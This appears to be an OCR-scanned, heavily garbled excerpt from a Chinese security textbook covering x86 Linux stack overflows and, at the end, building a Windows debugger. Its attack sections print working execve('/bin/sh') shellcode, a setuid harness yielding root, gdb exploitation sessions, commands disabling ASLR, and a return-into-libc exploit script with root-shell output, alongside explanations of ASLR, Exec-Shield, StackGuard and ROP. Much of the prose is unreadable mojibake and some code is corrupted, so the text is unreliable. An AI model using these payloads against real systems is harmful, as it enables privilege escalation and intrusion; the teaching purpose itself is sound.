# exit

exit

$ ./sample?

# whoami

root

T RKFRATH) shellcode KT T -
HER X BN 2 1E S AR B ba e 7 vy b 3T, AT 5



ARG R T .

3.1.9 XI 0x00 st

SR, T IX B shellcode H:SZib Joid KX sample3 #H47X0H, X /& A
JEHIL T 0x00. £ sample3 H', EHEAREIEH T strepy %L, X
N2 A 0x00 SRAIWT A5 R R . [ shellcode H[E] H HHL 0x00
i, strepy SR JGVE 5E B HLE | shellcode FIEHR T -

NI RRIZA AR, 3RATTFR EX shellcode #E4T — L6101

sample6 1, TEXTFFFH /sh\0 4T push LT I T 0x00.

80483cf: 68 2f 73 68 00 push $0x68732f
80483d4: 68 2f 62 69 6e push $0x6e69622f

XA R AR Z PR 71k, — ORI 2 KR R V4
e ¥4 /bin/sh N /bin//sh LLESF 8 NF T
o {EH] M4 push $0

REEL T — NI, (RN ATEZT LIRS B4 m 8. Fi,
PATTAT LUK /sh\0 A //sh, SEXFERIUS P K T push HLH ) 0x00.
YRI5, FRATATLLA xor A push AHZE & 1059 %, AR BN — 0x00
VERFRF R SR IIbRE, XFEIRA T A 05 76 2 Br AR il Hh Bk 4 HH B 0x00
T,

2 5% B LR, WA SEAREREHET xor B E 5 2 455) 000, BRER AT LU G 75 Ao R o B
P55 0x00, — PV

Vv sample8.s




.globl main

main:

xorl
pushl
movl
subl
pushl
mov1l
xorl
pushl
pushl
pushl
movl
xorl
pushl
pushl
pushl
pushl
movb
int

%»eax, %eax

%eax

%esp, %eax

$0x10, %eax

%eax

%esp, %ebx

%eax, %eax

%eax push 0x000000

00

$0x68732F2f pushFfFHi"//sh"
$0x6€69622f pushFfFei"/bin"

%esp, %edx
%»eax, %eax
%»eax
%»ebx
%edx
%eax
$0x3b, %al
$0x80

v BT

$ gcc -Wall sample8.s -o sample8

$ objdump -d sample8|grep \<main\>\:
08048404 <main>:

8048404 : 31 co xor
8048406: 50 push
8048407 89 €0 mov
8048409: 83 e8 10 sub
804840c: 50 push
804840d: 89 e3 mov
804840f: 31 co xor
8048411: 50 push
8048412: 68 2f 2f 73 68 push
8048417: 68 2f 62 69 6e  push
804841c: 89 e2 mov
804841le: 31 co xor
8048420: 50 push
8048421: 53 push
8048422: 52 push

-A 18

%»eax, seax
%eax
%esp,keax
$0x10, %eax
%»eax
%esp,%ebx
%eax, keax
%»eax
$0x68732f2f
$0x6e69622F
%»esp, %edx
%»eax, %eax
%»eax
%»ebx
%»edx




8048423: 50 push  %eax
8048424: bo 3b mov $0x3b,%al
8048426: «cd 80 int $0x80

Vv sample9.c

unsigned char shellcode[] = {

0x31, Oxco, // Xor %eax, %eax
0x50, // push %eax
Ox89, 0Oxe0, // mov %esp, %eax
Ox83, Oxe8, 0x10, // sub $0x10, %eax
0x50, // push %eax
ox89, oxe3, // mov %esp, %ebx
Ox31, Oxco, // xor %eax, %eax
0x50, // push %eax

0x68, Ox2f, Ox2f, Ox73, Ox68, // push $0x68732f2f
ox68, Ox2f, Ox62, Ox69, 0Ox6e, // push $0x6e69622f

ox89, Oxe2, // mov %esp, %edx
0x31, Oxco, // Xor %eax, %eax
0x50, // push %eax
0x53, // push %ebx
0x52, // push %edx
0x50, // push %eax
oxbo, 0x3b, // mov $0x3b, %al
oxcd, 0x80, // int $0x80

}s

int main(void)

{
void (*p)(void);
p = (void(*)())shellcode;
pP();
return 0;

¥

\ X EVIN L]




$ su

Password:

# gcc sample9.c -o sample9
# chmod 4755 sample9

# exit

exit

$ ./sample9

# whoami

root

XA shellcode BEFERK 1> R LALE exploit.py FAEHE T o

BV X B A #d A\ 2] sample3 1 AAEZS 8] H, 2R JE 8RBl kit ok
shellcode Fy2aa AL, FRATHL AT LLFEUR SR 1o

N—

ey AN ]

$ gdb sample3

GNU gdb 6.1.1 [FreeBSD]

(gdb) b *0x080485be 1E cpy R B 45 R [ ret 154 Ab 130 B KT A5
Breakpoint 1 at 0x80485be

(gdb) r " python exploit.py bfbfebc8 "

Starting program: /usr/home/guest/sample3

"“python exploit.py bfbfebc8 "

(no debugging symbols found)...

(no debugging symbols found)...

oxbfbfebc8
Breakpoint 1, ©x080485be in cpy ()
(gdb) x/8x $esp IR A H by

OxbfbfecOc: Oxbfbfebc8 ©Oxbfbfedod ©Oxbfbfec30 ©oxbfbfec48
Oxbfbfeclc: 0Ox080484b7 0Ox00000000 ©x0000VRO Oxbfbfec48
(gdb) x/24i exbfbfebc8 F4iRk[Al H bxitihik b i1 2147 I 9w

oxbfbfebc8: xor %eax, %eax
oxbfbfebca: push  %eax

oxbfbfebcb: mov %»esp,%keax
Oxbfbfebcd: sub $0x10, %eax
Oxbfbfebde: push  %eax

oxbfbfebdl: mov %esp, %ebx
oxbfbfebd3: xor %eax, %eax

oxbfbfebd5: push  %eax




oxbfbfebd6: push  $0x68732f2f

oxbfbfebdb: push  $0x6e69622f
oxbfbfebeo: mov %»esp, kredx
oxbfbfebe2: xor %»eax, %eax
oxbfbfebes: push  %eax
oxbfbfebe5: push  %ebx
oxbfbfebeb: push  %edx
Oxbfbfebe7: push  %eax
oxbfbfebe8: mov $0x3b,%al
oxbfbfebea: int $0x80

BATTR IR 23R (8] H An il 248 A 1 FRATTHY shellcode.

Tht, sample3.c fEi817 2> IR shellcode fHihE, FIAIX R & —ANJ
ERA T L PIE R FET o %BT LN, FRATAHIE shellcode 17 F HFx
HEFEROMBAN Mk, DRI bE R RE R4 T HED

AN, RRIOREA B ] DA R 1Y), R AT AT DU & AE N A7 =3 18]
FIETE NOP (0x90) 54, #RJ5°Kf shellcode U7 S, XA AT LAIE
15 shellcode #% AT FIMEZR

FAh, HTFIXRBATHAZ strepy PR, R H 2245 0x00 5t AJ LA

T, HERRA S ST TR AR Z RS, Flin R tE. A
TNAFIXEERE N, Bl — B DY S e S RS AR R e S
shellcode #4T IR 2 5T o

JRAE—32, TR THAERGEBONEH 72z e, DX
G gzt X i R B D2 AEH T

LA printf S8R EUH) 745 5 A% 3 04E bug

FAh— A B AR IR 24 J& printf S e& A0 745 85 4% Ak
bug.

N AR, SR A printf (S ECPIENGE SRS, AT AR



RS,

#include <stdio.h>
void main(int argc, char *argv[])

{
printf(argv[1]);

HARR B PATAEIX B B mg, (R HORUL, printf SREE0H, A —
MRFIR IR EEHAT %on, &0 LIRS EUH e e AL A S A=
AT Ca AR . AU %on,  FATwn] BAIAAE R E S AT
FRI1E

NG X AT EE, IXANRIA B 2™, ERAETEARE A
B, AXBRIERK T UEN EEEE



3.2 BB I HAR

3.2.1 HulkBENLAL: ASLR

FAVRAEH KGR IR, AR G2 b X H R BB LRI
T, 15 REE L A E R GO g P28 R 22 LA SR RLX 1 2

ERHET EiRER, MIJFRE T —®224. Hir K2 EEE RS
HORH T aixXsepLH], JEHEUS TAERRCR . I IERA T
Ubuntu 12.04 F1 )N KRE — B X Lo 22 21 o

BN KEE ASLR (Address Space Layout Randomization, il %% 8]
MmN ) o ASLR Z&—Fixtte. B, A5 Bo i) A7 =S (8] S5 1
hE R AT REALES & FIHL] .

ASLR J& THAE RS 1Y)6E, HIWIFE Ubuntu 12.04 1, FRAT0T DU T
/proc/sys/kernel/randomize_va_space K& FH S HIX — & B . TJ#3] root
HF, BT a4

v BT

# cat /proc/sys/kernel/randomize_va_space

2 AH: Bk

# echo © > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space

0 2:H

F cat 1% £ & randomize_va_space WJ{H, HitH 45 RAlgE2 0. 1 8¢
2. fAiHCRUL, BEATRE X FHR.

o 0: %%

o 1. FRHUELISNEENLIL



o 2: BN (BRYO
FATAT LUIE R AR RN — T ASLR MIRCR (JRACHS WL
chap03\Ubuntu_12.04_x86) . X/MEFIRE R, ©< /s H A malloc 7
He 1 9 A7 =S TR bk DA S AR B st bk

Vv test00.c

#tinclude <stdio.h>
#tinclude <stdlib.h>

unsigned long get sp(void)

{
__asm__("movl %esp, %eax");

}

int main(void)

{
printf("malloc: %p\n", malloc(16));
printf(" stack: ox%lx\n", get sp());
return 0;

}

fEJ5 H ASLR HPIRZS N, MEBITXANFER, AT RIVERR SR 13
HEFEANIR] o

v B17 7~

$ gcc test@O.c -0 testoo

$ ./testoo

malloc: 0x886e008 HF1{k: HE
stack: Oxbff775f8 057

$ ./testoo

malloc: Ox86f7008 FH2iKk: H#E
stack: @xbfe34dcs 57

$ ./testoo

malloc: ©x940e008 *F3/k: HE
stack: Oxbffc45bs 057




AR I hE AR R ICIRHEI ik, AT Bl e iR R IE

I
FIFERIRE, WRAEZEA] ASLR HPIRAS HigAT,

BT B

shellcode HYJE A&t

WS —H 1%

$ sudo su

[sudo] password for guest:

# echo @ > /proc/sys/kernel/randomize_va_ space
# exit

exit

$ ./testo0

malloc: ©x804b008 H1{K: HE
stack: Oxbffff768 53

$ ./testo0

malloc: Ox804bo08 E1yk: HE
stack: @xbffff768 53

$ ./testoo

malloc: Ox804bo08 F1ik: HE
stack: Oxbffff768 53

KM ASLR Jr, FATRBUGREr 2000 Bonth kAL 2 5¢ 4 At A
Ko NHRATKRE — MR test01, 1XMFE R B A& Sz X H W
T, ExH strepy il ar AT S ET RN T4

Y NPT

$ ./test@l “python exploit.py "bffff720"" aaaabbbbccccdddd

oxbffff710 #i[H
Illegal instruction

$ ./testoOl "“python exploit.py "bffff710"" aaaabbbbccccdddd

oxbffff710 #H[H




# whoami

root

# echo 2 > /proc/sys/kernel/randomize_va_space

# exit

exit

$ ./testoOl “python exploit.py "bffff710"" aaaabbbbccccdddd
Oxbf91c5do A [

Segmentation fault

$ ./test@l “python exploit.py "bf91c5de"" aaaabbbbccccdddd
oxbfbde6do A [F]

Segmentation fault

)5 H ASLR I, testO1 fr o (b B #AN ], Rk, AT R R
IEHIHIHEAR 16 45 exploit.py, WHHITCIEBIIFIRGRIR T .

XEt & ASLR [AIRR .
3.2.2 BRAFHA] PAT IS N AF SR LSRN, X H R A7 =S 1H]
REZHPATHER: Exec-Shield

Exec-Shield & — /i i PR fil] P A7 23 18] 138 5 ANSAAT AR R B A B ot )
AL o

BT, JEEREDL T IATASAE IR A A7 25 18] BAE O 3T L
#eiE F AN, RIEEAT AT R AR 2 TRl A IR SO AT S EA I AT . %
KU, AR XS P A LA 15 5 A0S, I8 M AR EAER
AT, BRI ERAT AT PR IXF 7 N A7 BIRUR B E N AN T 5N

EFE—K, BIEIRATE shellcode Bl 2Fk, nRX LA TLIEHAT,
A2 7=+ Segmentation fault, FEFEF15F1LIZ1T .

BE RGP EETENETHRE N T RIE S MPATHR, ERFI181T
I Y /proc/<PID>/maps 5t AJ LL T .

\ X RwIN ]|



# ps -aef | grep test02

root 1035 786 © 08:36 pts/0 00:00:00 ./testo2

guest 1037 937 © 08:36 pts/1 00:00:00 grep --color=auto test02
# cat /proc/1035/maps | grep stack

bfdccoo0-bfdedo0d rw-p 00000000 00:00 © [stack]

test02 #& testO1 Jll_I Exec-Shield 2 J5 A, H k=84 bfdec000 ~
bfded000, FATA]LLE 2'EIAFRA rw-p, A REIHATHIRHT x.

A1k 24— T Exec-Shield HIZCR .

v 4T

$ ./testo02 "“python exploit.py "bffff710"" aaaabbbbccccdddd
Oxbffff710
Segmentation fault

SN R Rk Ry b — B, (BRI R R T .

ASLR F RSB BB & 55 bk, 1 Exec-Shield NJ5& 78 #uhik— 20K
BT, B E WIEPAT A ALEHE 5.

JFE—32, AR ATEE — F testO1 [ /proc/<PID>/maps Hif, ek
LA R AT B HATRUR « X5 A2 test01 1 test02 I X I FFAE . EAE
HH—0 T E, KREATLUSEE—F test01.s I test02.s.

3.2.3  {E % PRI 4 AR I AR B 4 58 B 4CAS . StackGuard

StackGuard A& — P 7E g 13 I 76 5 RN D ATHS 48 A 1 AR 20k 5
BN B SR 7, ER T RmEEas 2 L] .



HAPKE N B

v BT~

$ ./testo@3 “python -c 'print "A"*100'"

oxbfb8ead0

*** stack smashing detected ***: ./test@3 terminated

======= Backtrace: =========
/1ib/i386-1inux-gnu/libc.so.6(__ fortify fail+0x45)[0xb766d0e5]
/1ib/i386-1inux-gnu/libc.so.6(+0x10409a) [@xb766d09%a]

./test03[0x8048515]

[0x41414141]

======= Memory map: ========

08048000-08049000 r-xp 00000000 08:01 1061 /home/guest/test03
08049000-08042000 r-xp 0000000 08:01 1061 /home/guest/testo3
08042000-0804b000O rwxp 00001000 08:01 1061 /home/guest/testo3
08352000-08373000 rwxp 00000000 00:00 © [heap]

=)

bfb6f000-bfb9000O rwxp 00000000 00:00 © [stack]

Aborted

7EJi FH ASLR 8% Exec-Shield v}, _FIRFEF 2= Segmentation fault,

{H StackGuard N &1l test03 M H B 1 7%, JFE3E1LREIT.

test03 E ARG nh X v th R, Ak N A R AE i IS, StackGuard
RIS B AT I 21X — 150, FFEIR stack smashing detected JH 5., 5&i|Z%¢

1EREFPiE1T .

FATE—T test03.s IS, miAENLIR g% PE2s S I StackGuard X

b,

V¥ test03.s

main:
pushl  %ebp
mov1l %esp, %ebp
andl $-16, %esp



subl $64, %esp
mov1 12(%ebp), %eax
mov1l %eax, 28(%esp)

movl %gs:20, %eax FRRIZATI %gs : 20 FR A N — B ML
mov1 %eax, 60(%esp) HEEHVEARINBIFRTI &G
xorl %eax, %eax

call get_sp

movl $.LCO, %edx
mov1l %eax, 4(%esp)
mov1l %edx, (%esp)
call printf

call getchar

mov1l 28(%esp), %eax
addl $4, %eax

mov1 (%eax), %eax

mov1l %eax, 4(%esp)

leal 44(%esp), %eax

mov1l %eax, (%esp)

call strcpy

movl $0, %eax

mov1 60(%esp), %edx HHRMERE—ME

xorl %gs:20, %edx E%gs : 2047 %f Lt

je .L5 AR —E kAL 3L LS

call _ stack_chk_fail 5 J)ki% 255 6| 2 1B AR
.L5:

leave

ret

%gs:20 TERFRFE T I T # S AF AN —RENLEL, R XA BENLE R i) 2
PRE BT AR X R B 5 - HH T 60(%esp) J& 5l /& ebp Al ret_addr,
DAL LR A5 ) BC B T ARG S Bt bk A Bl Ao B

R BRI IR Bl 2 BT, FEPF %gs:20 HIME 5 60(%esp) BEATXTEL . U5
T seF K S8, ebp Al ret_addr #%78 75, #4 60(%esp) [HIHE 7
SR AR B S SR 20 B, PR EkiE 2 stack_chk_fail, FF£%
1E1247 .

fa Bk i, StackGuard HLHI PR3 152 ebp 1 ret_addr, & — st Xt st
R 22 v [X ¥ HH B 1 B A8 B



Ubuntu 12.04 (] gcc ', E4aiFERT BRI E StackGuard fQUhS, 2k
StackGuard 7 2 /il I -fno-stack-protector %1l .



3.3 LI LA MHIRIHAR
3.3.1 f# A libc H 1 RECE AT X & : Return-into-libc

ASLR. Exec-Shield. StackGuard 5% 4Ll K KIEE T RG24
P, SR IX WIFAMCR A 12 RIS O WA RS T .

LA FATH IR T A A Ge it ix se 22 e ML ok A sh Body, Hi—F
J7 VL& Return-into-libc.

Return-into-libc #& — i f# Exec-Shield 1 /575, & BB Z<“RIE L%
HATE RS Cshellcode) , &R ERWIBITTEEF, A PAZFE
ARGMLR”

Return-into-libc fJ2EA JiE B & 0 I B S AR AL B, 52T Re
P53 libe.so F1 system BRIET LA M exec 25K %L, f i okiz4T /bin/sh 25
FEFT o

FATRT LA 1dd fin & B R RIS AT I B I i 2

v BT

$ 1dd /bin/sh
linux-gate.so.1 => (©xb774e000)
libc.so.6 => /1ib/i386-1linux-gnu/libc.so.6 (@xb759e000)
/1ib/1d-1inux.so0.2 (@xb774f000)

JUF T R s AT I AR 2 N % libe.so,  BY A & 7F 2 BRI BEAT B S i
. ik, HEIRAIGEW I libc H 1 system PREA exec FERREL, il
REE F L R AARLUR -

W RKAE K ASLR HRRA FI2 AT FEI64



\ BNl

$ gdb teste2

GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
(gdb) b main

Breakpoint 1 at ©x8048461

(gdb) r

Starting program: /home/guest/test02

Breakpoint 1, 0x08048461 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} ©xb7e6c430 <system>
(gdb) p exit

$2 = {<text variable, no debug info>} @xb7e5ffbo <exit>
(gdb)

XFERATAS 2] T system Al exit FIHubE .

X IRFRATA 75 AR Bl ok 25 sl o7 4% 1 shellcode Mk, 17 2 SOk
system PRELIIA ik, K system BRI 5] H AR exit, IF4
/bin/sh WIHBLEAE NS HfR 16T 25

W RE N A g% S B AR

Vv exploit2.py

#!/usr/bin/python

import sys
from struct import *

if len(sys.argv) = 2:

addr = 0x41414141
else:

addr = int(sys.argv[1l], 16) + 0x08
fsystem = int("b7e6c430", 16)

fexit int("b7e5ffbo", 16)

data = "\x90\x90\x90\x90\x90\x90\x90\x90"




data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90c x90"
data += pack('<L', fsystem)

data += pack('<L', fexit)

data += pack('<L', addr)

data += "/bin/sh"

sys.stdout.write(data)

v BT~

$ ./test02 "“python exploit2.py bffff740"
oxbffff740

# whoami

root

# exit

XA, FRATH system BREAE T shellcodes

test02 & )5 | Exec-Shield AL, {HIATE RS 1 EIFRIIFIL T
BRI 2 —™ A H 1K) Return-into-libe 1.

A, REXFEBE 8 54T Exec-Shield, {HIIHE IS 7 ASLR 53
StackGuard #J1%, I HBE K IR 2 WL,

3.3.2 F AR EEL N5 I g CS 4T Bt : ROP
Return-into-libc & —F H E K%L (libc) KALE shellcode & ahB i1 /5

o SR, WA ASLR B m#k it 45 BEALAL 13E, B TF3RATEIES
PIERR OB NE (AR system A exec UML) , Bt & 0



KL, A ASREH, BEASBER FH AR BEATLAL B8 Le st B ]y F 0V 4 ARAS - HF
FEH AT Z R P2 AR ? X PR TATA B MBS F B, #K
A Return-Oriented-Programming ([ [1]iZ [AI4wF2) , f&#% ROP.

IXFPECARNIMIRSE H A, AR RR, KX G5 e BRAEAS
BE ISR EAT SEBR I Bt . SR, M 2010 SFHF4E, X PRI LR IZ TR
ek, MECKRNAG LENLBRL — T .

T ROP (VI ZE, RARAA ALK, AT —F
BR, LA TR ERA, LA R B R A 417 LB
Bohik. %5 AL LS RO, WAF B L — F A
%.

TR TR A4 S22 O R

FEIT ML, a2 — A EUBURFIR RO ATIEL, X2 KON E 2 4 Uk,

FAT—rE BEME IR B — AW BRI HAR A BN, BB AR 55 4 1) 7
2L L HNEE AR AR N B, L, i)

e N ovs N7 PKo 807 W 70 I T B0 Jik, - A8 37 th s 2t
FCHUBT IR 5% SOT R B 0 R 40, AT a2k 2
FH ML TR 7T B o

NENZTER) e K RS, ZXWIER T EILZ 22N —Y
TS AR BRI o BEAh, IR PIAXUT IROREAE IS, A PABROR
BT IH S B AR 48R, IT M S B AR SR S PP 1) 14 A SR A AR
D

5 [ R [ 28 B X 2% 1% 4+ (cyberwarfare) -5 25251 [E 5 #H £ 5+
Wo MIX—RURE, GBI 2 TH LA 2 HoK,
HEWSIERE PSS EME, XWIFIE - MNEITTENL 2
PRI LE o



5 4% HEREFET I AR
R SR LA A VA 8 0SS LA IR 1 52 AR P e T
FUEEA B 45 7 ) LR ELBEORIG, B M 4y TG T ELAR A

M T E5ARZEARF I ALEOR . MRS TS — ot TH,
AR FERIRIR € =X RA i Bl



4.1 BT H ] AR R I A L R
4.1.1 SRR A, RS AR

B e FA KSR PHIE— DT A RS, B SOk 2] — LR R A
W, DMEA 5 RERS B n#agxitiz F R TR

WFRR M Wi EaRa2Ihaesm KRS, G0EH i —

g7 >

XA A . 25005, BANTA RS, (HAhFE R E 2 Pz
B KRy, REFMNATESEIMREHTHE, EX T H AR R
AT T 5 T RN

IR, INFEARNSHCEEAENTIAEIE RS, (B — SR ER, A
XTHOHMEH TR, & g TIERE. Ak, RIANE
FA— A G e — MR 7. BME R BRI T, 24
AlE? 48R, FRATHH 25 IR B, a0 SR AR EEHI/E — AT DUGR
5 OllyDbg ! WinDbg [ B IEJA#, MR —iE 1.

M H, HRET RS BT R R SRR, e a s Ea
ERNE 2

RS, TR, TR T R ReE AR B A A
H, AT ik TARREAAE®, EflfE—fh T RZT5 Rk
R NIRATARAR Z IR

4.1.2 A B EAE TR

IG5 RS FBE RO, RECE — L b MRS 5 3 T

PATHeRTE — B ol S RS CURACHS I,
chap04\wdbg01a\wdbg01la)

v wdbg0O1la.cpp



#tinclude "stdafx.h"

int _tmain(int argc, _TCHAR* argv[])

{
PROCESS_INFORMATION pi;
STARTUPINFO si;

if(argc < 2){
fprintf(stderr, "C:\\>%s <sample.exe>\n", argv[0]);
return 1;

}

memset(&pi, @, sizeof(pi));
memset(&si, @, sizeof(si));
si.cb = sizeof(STARTUPINFO);

BOOL r = CreateProcess(
NULL, argv[1], NULL, NULL, FALSE,
NORMAL_PRIORITY_CLASS | CREATE_SUSPENDED | DEBUG_PROCESS,
NULL, NULL, &si, &pi);
if(!r)
return -1;

ResumeThread(pi.hThread);

while(1) {
DEBUG_EVENT de;
if(!WaitForDebugEvent(&de, INFINITE))
break;

DWORD dwContinueStatus = DBG_CONTINUE;

switch(de.dwDebugEventCode)

{

case CREATE_PROCESS DEBUG_EVENT:
printf("CREATE_PROCESS_DEBUG_EVENT\n");
break;

case CREATE_THREAD DEBUG_EVENT:
printf("CREATE_THREAD DEBUG_EVENT\n");
break;

case EXIT_THREAD_DEBUG_EVENT:
printf("EXIT_THREAD DEBUG_EVENT\n");
break;

case EXIT_PROCESS_DEBUG_EVENT:
printf("EXIT_PROCESS_DEBUG_EVENT\n");
break;

case EXCEPTION DEBUG EVENT:




DWORD r = de.u.Exception.ExceptionRecord.ExceptionCode;
if(r != EXCEPTION_BREAKPOINT)
dwContinueStatus = DBG_EXCEPTION_NOT_HANDLED;
printf("EXCEPTION_DEBUG_EVENT\n");
break;
case OUTPUT_DEBUG_STRING EVENT:
printf("OUTPUT_DEBUG_STRING_EVENT\n");
break;
case RIP_EVENT:
printf("RIP_EVENT\n");
break;
case LOAD DLL _DEBUG_EVENT:
printf("LOAD_DLL_DEBUG_EVENT\n");
break;
case UNLOAD_DLL_DEBUG_EVENT:
printf("UNLOAD DLL_DEBUG_EVENT\n");
break;
}
if(de.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT)
break;
ContinueDebugEvent(
de.dwProcessId, de.dwThreadId, dwContinueStatus);

}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 9;

B4, FEFidid CreateProcess B %A B H AR RS . I8 H An b2
Y 10 5 B 1 R A2 (debuggee)

J§ FH CreateProcess R %Y B, @1 i1%E | DEBUG_PROCESS &,
DEBUG_ONLY_THIS_PROCESS #5&, Mashfidtfe G %)
B = A B R AR R A f P 2

RPN FRE R XA AR

e DEBUG_PROCESS #5 &



VR G B 7 RERE,  LAR TR 1 T HERE AR AR N I O B

e DEBUG_ONLY_THIS_PROCESS

K8 3d CreateProcess Ja sl AR — N FEAE AT %

CreateProcess XA 26 1 S 5 2 80T H T4% 13 H AR T2 7 1Y 2%
12, IRJEMET] A SRR

Vv CreateProcess X %}

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425.aspx
BOOL CreateProcess(

)5

LPCTSTR lpApplicationName, // FTPATIEE A FR
LPTSTR lpCommandLine, /] AT TR

LPSECURITY_ ATTRIBUTES 1lpProcessAttributes,
LPSECURITY_ATTRIBUTES 1pThreadAttributes,

BOOL bInheritHandles, // R YR AR I
DWORD dwCreationFlags, /] BEFRE

LPVOID lpEnvironment, /] FHRERIA R A
LPCTSTR lpCurrentDirectory, // HAETEEAE

LPSTARTUPINFO lpStartupInfo, // JEENE R
LPPROCESS_INFORMATION lpProcessInformation // #fifs R

i CREATE_SUSPENDED #5 & 0] PAiLFELE )5 8 Ja i NFERIRZS .
i B IX—prERS, CreateProcess BREUH A SR 2 J5, #FiitfE b T E
SKIEH T E . REEFEAEEIT, HEFRPAT X EE 8N

NAF, XN FRATAT AAEIEAT Z B R R BT S

ERXDRBIREF T, BATEA AT R 2 BRI T

ResumeThread PR %L, XA IHG ST A LR = K E 1217,

v ResumeThread p£ %

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms685086.aspx




DWORD ResumeThread(
HANDLE hThread // ZFEGIHK

)5

YR GRRTF I GIEIT G, HRER T S SR R
IR 218 T WaitForDebugEvent B BUR 34T UK

v WaitForDebugEvent £ %}

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681423.aspx
BOOL WaitForDebugEvent(

/1 PRAF R SEAHE BRI SRR £

LPDEBUG_EVENT lpDebugEvent,

/] FAFERERR (=R

DWORD dwMilliseconds
)

WaitForDebugEvent PR H15E 1 44t T —1> DEBUG_EVENT %54
R, BRI F M SRR XN R, B2 S8
dwMilliseconds #1514 & N INFINITE NI &8 — BH &4,
DEBUG_EVENT Z5 i) LR,

v DEBUG_EVENT 4% ¥ /&

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679308.aspx
typedef struct DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadId;
union {
EXCEPTION_DEBUG_INFO Exception;




CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_PROCESS_DEBUG_INFO ExitProcess;

LOAD_DLL_DEBUG_INFO LoadD11;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO RipInfo;

} ou;

} DEBUG_EVENT, *LPDEBUG_EVENT;

Hrp 5 — B dwDebugEventCode fAER A4 5 o
dwProcessId i FE ID, dwThreadld NZFE ID.

2N R EE 2 dwDebugEventCode AN T R A222 14,
dwDebugEventCode 7] DLEL T~ Z1{H .

WX FAF P
EXCEPTION_DEBUG_EVENT RERH
CREATE_THREAD_DEBUG_EVENT B e
CREATE_PROCESS_DEBUG_EVENT B
EXIT_THREAD_DEBUG_EVENT e
EXIT_PROCESS_DEBUG_EVENT pii ety
LOAD_DLL_DEBUG_EVENT Jn# DLL




UNLOAD_DLL_DEBUG_EVENT #1% DLL

OUTPUT_DEBUG_STRING_EVENT 1 F OutputDebugString pF %1

RIP_EVENT KA RGO R R

wdbg0la.cpp ', HENCEIHAF RS, = {EH printf BECR AR
R R T8I Y5 ) union € RIS PR AT LRI 00 A5
B

B AR, AN R ERIET. Bk, ERATA RS
BoRTH R R, RO R AL TR

i F ContinueDebugEvent p& % 7] ULk AN R E 217, X7 X
7] 2| WatiForDebugEvent B %054 N — 25 1l 44

NHERENET M EE.

v BT~

C:\>wdbg@la.exe "C:\Program Files\Internet Explorer\iexplore.exe"




MER Com ¥ | B || |Ea i

L = B - B
O msishArFE L BRI BAP . MEHERTE) - B | omm - AmME)r HEE) - TREO -~ -

fiHET  BP
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WA NEEAREERS)
o JIII-LHJJ_ -!Lllij LIILHl
LOAD_DLL_DEBUG_EVENT
Wil 25 R = : sk
AREE R s B

HE EL wing App

BLOoAD_ ll]l _DEBUG HILHI
CREATE_THREAD_DEBUG_EUENT

& & Internet ¢ +| TI00% -

2 S

REFAUER], QUERERE. SFEPLAn®, . #1% DLL S5H A F AR
eige R 1.

4.1.3 SIS D AE

LA A wdbg0la.cpp B4 n—LeHr 1) fE
(chap04\wdbg02a\wdbg02a\wdbg02a.cpp) -

PAIAR BAE R AW, B o B A i Pk DL R Y R &7 A7 28 11
H. [, FATEALLERKETHENPATHIES, BT HIBATR
SEIR I S DI RE

AT LUAE A udis86 HKSZIL I g . X2 — MR RIC s, JRCHE
KRAGLE GitHub o 2% fork 7iXANWiH, JEH Visual Studio 2010 3E4T



THRPE, KATEEH H CH GitHub 1, WER A 72 Windows it — 2]
SCA BT R AR XA 2 3 S R

https://github.com/vmt/udis86 (JR45)
https://github.com/kenjiaiko/udis86

v wdbg02a.cpp

#tinclude "stdafx.h"

#tinclude <Windows.h>
#include "udis86.h"

#pragma comment(lib, "libudis86.1ib")

int disas(unsigned char *buff, char *out, int size)

{
ud_t ud_obj;
ud_init(&ud_obj);
ud_set_input_buffer(&ud_obj, buff, 32);
ud_set_mode(&ud_obj, 32);
ud_set_syntax(&ud_obj, UD_SYN_INTEL);
if(ud_disassemble(&ud_obj)){
sprintf_s(out, size, "%14s %s",
ud_insn_hex(&ud_obj), ud_insn_asm(&ud_obj));
telse{
return -1;
}
return (int)ud_insn_len(&ud _obj);
}

int exception_debug event(DEBUG_EVENT *pde)
DWORD dwReadBytes;

HANDLE ph = OpenProcess(
PROCESS_VM_WRITE | PROCESS VM READ | PROCESS_VM_OPERATION,
FALSE, pde->dwProcessId);

if(!ph)



https://github.com/vmt/udis86
https://github.com/kenjiaiko/udis86

int

return -1;

HANDLE th = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE, pde->dwThreadId);

if(!th)
return -1;

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(th, &ctx);

char asm_string[256];
unsigned char asm_code[32];

ReadProcessMemory(ph, (VOID *)ctx.Eip, asm_code, 32, &dwReadBytes);
if(disas(asm_code, asm_string, sizeof(asm_string)) == -1)
asm_string[@] = '\0’;

printf("Exception: %@8x (PID:%d, TID:%d)\n",
pde->u.Exception.ExceptionRecord.ExceptionAddress,
pde->dwProcessId, pde->dwThreadId);

printf(" %08x: %s\n", ctx.Eip, asm_string);

printf(" Reg: EAX=%08x ECX=%08x EDX=%08x EBX=%08x\n",
ctx.Eax, ctx.Ecx, ctx.Edx, ctx.Ebx);
printf(" ESI=%08x EDI=%08x ESP=%08x EBP=%08x\n",

ctx.Esi, ctx.Edi, ctx.Esp, ctx.Ebp);

SetThreadContext(th, &ctx);
CloseHandle(th);
CloseHandle(ph);

return 9;

_tmain(int argc, _TCHAR* argv[])

STARTUPINFO si;
PROCESS_INFORMATION pi;

if(argc < 2){
